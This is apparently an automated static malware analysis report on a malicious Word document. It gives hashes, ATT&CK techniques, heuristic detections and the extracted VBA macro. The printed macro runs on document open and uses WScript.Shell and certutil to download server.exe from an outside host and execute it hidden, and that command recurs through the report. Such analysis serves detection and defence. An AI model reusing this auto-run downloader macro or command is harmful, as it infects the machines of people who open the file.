Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 08eebef095ddc4ef…

MALICIOUS

Office (OOXML)

20.3 KB Created: 2021-06-14 13:14:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2021-06-20
MD5: 7f037fdff6cf45e9f505103ed013f061 SHA-1: d1613dd4bf5c208908a0ae2b3eef64ecf6408d13 SHA-256: 08eebef095ddc4efc8b869b1c4e1debc9275bc9012f86fb723b43ef061897790
526 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1071.001 Web Protocols T1204.002 Malicious File T1105 Ingress Tool Transfer

The sample is a malicious OOXML document containing VBA macros that trigger on document opening. The macros utilize WScript.Shell and cmd.exe to execute obfuscated commands, including a URL, likely to download and execute a second-stage payload. This is further supported by ClamAV detections indicating a downloader family.

Heuristics 13

  • ClamAV: Win.Downloader.CertutilURLCache-6335698-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Win.Downloader.CertutilURLCache-6335698-0
  • VBA project inside OOXML medium 10 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Private Sub test()
Dim shell
Dim out
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Dim out
Set shell = VBA.CreateObject("WScript.Shell")
out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
  • LOLBin reference in VBA critical OLE_VBA_LOLBIN
    LOLBin reference in VBA
    Matched line in script
    Set shell = VBA.CreateObject("WScript.Shell")
out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
End Sub
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
    Matched line in script
    Private Sub test()
Dim shell
Dim out
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Dim out
Set shell = VBA.CreateObject("WScript.Shell")
out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
  • cmd.exe reference in VBA high OLE_VBA_CMD
    cmd.exe reference in VBA
    Matched line in script
    Set shell = VBA.CreateObject("WScript.Shell")
out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
End Sub
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    End Sub
Private Sub autoopen()
test
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_open()
test
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    End Sub
Private Sub auto_open()
test
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://ayntextile.com/DataFiles/server.exe Referenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingCanvasReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2014/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexReferenced by macro
    • http://schemas.openxmlformats.org/markup-compatibility/2006Referenced by macro
    • http://schemas.microsoft.com/office/drawing/2016/inkReferenced by macro
    • http://schemas.microsoft.com/office/drawing/2017/model3dReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsReferenced by macro
    • http://schemas.openxmlformats.org/officeDocument/2006/mathReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingReferenced by macro
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2012/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordml/cexReferenced by macro
    • http://schemas.microsoft.com/office/word/2016/wordml/cidReferenced by macro
    • http://schemas.microsoft.com/office/word/2018/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2020/wordml/sdtdatahashReferenced by macro
    • http://schemas.microsoft.com/office/word/2015/wordml/symexReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkReferenced by macro
    • http://schemas.microsoft.com/office/word/2006/wordmlReferenced by macro
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeReferenced by macro

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 2172 bytes
SHA-256: 815787dc113f4b8e392f4ba521190457bcbca2c4bafaaea9205e18f8487b485b
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Option Explicit
Option Compare Binary

Private clsClave As String

Property Get Clave() As String
    Clave = clsClave
End Property

Property Let Clave(value As String)
    clsClave = value
End Property


Function Cifrar(Frase As String) As String

    Dim Cachos() As Byte
    Dim LaClave() As Byte
    Dim i As Integer
    Dim Largo As Integer

    If Frase <> "" Then
        Cachos() = StrConv(Frase, vbFromUnicode)
        LaClave() = StrConv(clsClave, vbFromUnicode)
        Largo = Len(clsClave)

        For i = LBound(Cachos) To UBound(Cachos)
            Cachos(i) = (Cachos(i) Xor LaClave(i Mod Largo)) + 34
        Next i

        Cifrar = StrConv(Cachos(), vbUnicode)
    Else
        Cifrar = ""
    End If

End Function


Private Sub Document_open()
test
End Sub
Private Sub documentopen()
test
End Sub
Private Sub auto_open()
test
End Sub
Private Sub autoopen()
test
End Sub
Private Sub auto_exec()
test
End Sub
Function Descifrar(Frase As String) As String

    Dim Cachos() As Byte
    Dim LaClave() As Byte
    Dim i As Integer
    Dim Largo As Integer

    If Frase <> "" Then
        Cachos() = StrConv(Frase, vbFromUnicode)
        LaClave() = StrConv(clsClave, vbFromUnicode)
        Largo = Len(clsClave)

        For i = LBound(Cachos) To UBound(Cachos)
            Cachos(i) = Cachos(i) - 34
            Cachos(i) = (Cachos(i) Xor LaClave(i Mod Largo))
        Next i

        Descifrar = StrConv(Cachos(), vbUnicode)
    Else
        Descifrar = ""
    End If

End Function

Private Sub test()
Dim shell
Dim out
Set shell = VBA.CreateObject("WScript.Shell")
out = shell.Run("cmd /c certutil -urlcache -split -f http://ayntextile.com/DataFiles/server.exe C:\Users\public\Server.exe & start C:\Users\public\Server.exe", 0, False)
End Sub
Sub r()
'
' r Macro
'
'

End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 20992 bytes
SHA-256: 68eb030cec996a7529aa3dc9131e10cb03c8b9577b0336cff82c602443319b5e
Detection
ClamAV: Win.Downloader.CertutilURLCache-6335698-0
Obfuscation or payload: unlikely

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